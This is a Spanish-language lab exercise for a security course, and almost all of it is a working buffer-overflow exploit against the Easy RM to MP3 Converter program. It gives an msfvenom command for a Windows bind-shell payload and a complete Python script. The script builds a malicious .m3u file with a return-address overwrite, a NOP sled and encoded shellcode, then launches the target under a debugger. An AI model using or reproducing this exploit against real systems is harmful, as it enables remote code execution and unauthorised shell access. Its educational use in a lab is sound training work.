Exploit

En la carpeta C:\ejercicios\test2 se encuentran dos ficheros, un fichero .exe que es el instalador del software vulnerable y un fichero .py que es el comienzo del script que nos ayudará a explotar unavulnerabiliadd de buffer overflow que existe en el programa instalado.

Se debe instalar el programa y utilizar el fichero .py para desarrollar un exploit que permita ejecutar código sobre el mismo. El fichero .py que se entrega inicialmente no explota directamente la vulnerabilidad. Esresponsabilidad del alumno ajustar los tamaños hasta conseguir el fallo inicial del programa.

Una vez conseguido ejecutar el código que permite la apertura de la calculadora, se debe modificar elexploit para introducirle el payload generado con msfvenom siguiente. msfvenom -p

windows/shell/bind_tcp EXITFUNC=seh -b '\x00\x0a\x20\xff' -e x86/alpha_upper -f python

Cuando se consiga la ejecución de ese payload se debe obtener un puerto a la escucha en la maquina Windows XP. Para validar que esta a la escucha se puede utilizar netstat como se muestra en la siguiente imagen.

Código el fichero .py:

```
import os,subprocess,struct

fileName = "exploit.m3u"

f = open(fileName,"w")


junk = "A"*26092


# 0x77f11d2f

junk += "\x2f\x1d\xf1\x77"


junk += "C"* (27000 -len(junk))

junk += "\x90"*20


# Payload

buf =  ""

buf += "\x89\xe0\xdb\xc8\xd9\x70\xf4\x5d\x55\x59\x49\x49\x49"

buf += "\x49\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33"

buf += "\x30\x56\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41"

buf += "\x30\x30\x41\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41"

buf += "\x42\x32\x42\x42\x30\x42\x42\x58\x50\x38\x41\x43\x4a"

buf += "\x4a\x49\x4b\x4c\x5a\x48\x4c\x42\x35\x50\x33\x30\x53"
```

```
buf += "\x30\x35\x30\x4c\x49\x4d\x35\x50\x31\x59\x50\x32\x44"
buf += "\x4c\x4b\x36\x30\x56\x50\x4c\x4b\x56\x32\x54\x4c\x4c"
buf += "\x4b\x36\x32\x55\x44\x4c\x4b\x32\x52\x57\x58\x44\x4f"
buf += "\x58\x37\x51\x5a\x46\x46\x46\x51\x4b\x4f\x4e\x4c\x57"
buf += "\x4c\x43\x51\x43\x4c\x45\x52\x56\x4c\x47\x50\x39\x51"
buf += "\x38\x4f\x54\x4d\x55\x51\x59\x57\x4d\x32\x4c\x32\x51"
buf += "\x42\x51\x47\x4c\x4b\x51\x42\x42\x30\x4c\x4b\x50\x4a"
buf += "\x47\x4c\x4c\x4b\x50\x4c\x42\x31\x32\x58\x4b\x53\x37"
buf += "\x38\x55\x51\x48\x51\x30\x51\x4c\x4b\x30\x59\x31\x30"
buf += "\x35\x51\x39\x43\x4c\x4b\x47\x39\x52\x38\x4d\x33\x57"
buf += "\x4a\x51\x59\x4c\x4b\x30\x34\x4c\x4b\x53\x31\x39\x46"
buf += "\x56\x51\x4b\x4f\x4e\x4c\x39\x51\x58\x4f\x44\x4d\x35"
buf += "\x51\x49\x57\x30\x38\x4b\x50\x42\x55\x5a\x56\x43\x33"
buf += "\x43\x4d\x5a\x58\x37\x4b\x33\x4d\x47\x54\x53\x45\x4a"
buf += "\x44\x31\x48\x4c\x4b\x46\x38\x37\x54\x53\x31\x39\x43"
buf += "\x53\x56\x4c\x4b\x44\x4c\x50\x4b\x4c\x4b\x56\x38\x55"
buf += "\x4c\x53\x31\x59\x43\x4c\x4b\x34\x44\x4c\x4b\x35\x51"
buf += "\x4e\x30\x4b\x39\x51\x54\x56\x44\x47\x54\x31\x4b\x51"
buf += "\x4b\x35\x31\x56\x39\x50\x5a\x36\x31\x4b\x4f\x4b\x50"
buf += "\x51\x4f\x51\x4f\x30\x5a\x4c\x4b\x55\x42\x4a\x4b\x4c"
buf += "\x4d\x31\x4d\x53\x58\x30\x33\x56\x52\x43\x30\x45\x50"
buf += "\x55\x38\x34\x37\x32\x53\x56\x52\x51\x4f\x46\x34\x45"
buf += "\x38\x50\x4c\x33\x47\x36\x46\x33\x37\x4b\x4f\x48\x55"
buf += "\x4f\x48\x4a\x30\x55\x51\x45\x50\x53\x30\x51\x39\x59"
buf += "\x54\x50\x54\x50\x50\x52\x48\x47\x59\x4b\x30\x42\x4b"
buf += "\x43\x30\x4b\x4f\x58\x55\x52\x4a\x44\x4b\x50\x59\x30"
buf += "\x50\x5a\x42\x4b\x4d\x42\x4a\x35\x51\x52\x4a\x35\x52"
buf += "\x53\x58\x5a\x4a\x54\x4f\x39\x4f\x4d\x30\x4b\x4f\x48"
buf += "\x55\x4c\x57\x32\x48\x43\x32\x43\x30\x42\x31\x51\x4c"
buf += "\x4d\x59\x4d\x36\x32\x4a\x54\x50\x51\x46\x30\x57\x43"
buf += "\x58\x48\x42\x49\x4b\x47\x47\x33\x57\x4b\x4f\x4e\x35"
buf += "\x4d\x55\x49\x50\x32\x55\x31\x48\x30\x57\x45\x38\x48"
buf += "\x37\x5a\x49\x47\x48\x4b\x4f\x4b\x4f\x38\x55\x46\x37"
```

```
buf += "\x45\x38\x52\x54\x4a\x4c\x37\x4b\x4d\x31\x4b\x4f\x49"

buf += "\x45\x31\x47\x4d\x47\x33\x58\x54\x35\x42\x4e\x30\x4d"

buf += "\x55\x31\x4b\x4f\x58\x55\x53\x5a\x35\x50\x33\x5a\x54"

buf += "\x44\x36\x36\x30\x57\x45\x38\x53\x32\x58\x59\x4f\x38"

buf += "\x31\x4f\x4b\x4f\x49\x45\x4d\x53\x5a\x58\x45\x50\x43"

buf += "\x4e\x36\x4d\x4c\x4b\x47\x46\x43\x5a\x51\x50\x42\x48"

buf += "\x55\x50\x54\x50\x43\x30\x53\x30\x51\x46\x52\x4a\x43"

buf += "\x30\x55\x38\x50\x58\x49\x34\x46\x33\x5a\x45\x4b\x4f"

buf += "\x4e\x35\x4a\x33\x50\x53\x43\x5a\x43\x30\x51\x46\x30"

buf += "\x53\x50\x57\x42\x48\x54\x42\x4e\x39\x38\x48\x31\x4f"

buf += "\x4b\x4f\x58\x55\x4c\x43\x4c\x38\x43\x30\x33\x4e\x43"

buf += "\x37\x55\x51\x39\x53\x51\x39\x58\x46\x32\x55\x4d\x39"

buf += "\x59\x53\x4f\x4b\x4b\x4e\x54\x4e\x50\x32\x4a\x4a\x33"

buf += "\x5a\x33\x30\x36\x33\x4b\x4f\x58\x55\x33\x5a\x45\x50"

buf += "\x4f\x33\x41\x41"


junk += buf

f.write(junk)

f.close()

print "exploit created successfully"


debuggercmd = "C:\\Archivos de programa\\Immunity Inc\\Immunity
Debugger\\ImmunityDebugger.exe"

cmd = "C:\\Archivos de programa\\Easy RM to MP3 Converter\\RM2MP3Converter.exe"

subprocess.call([debuggercmd,cmd])
```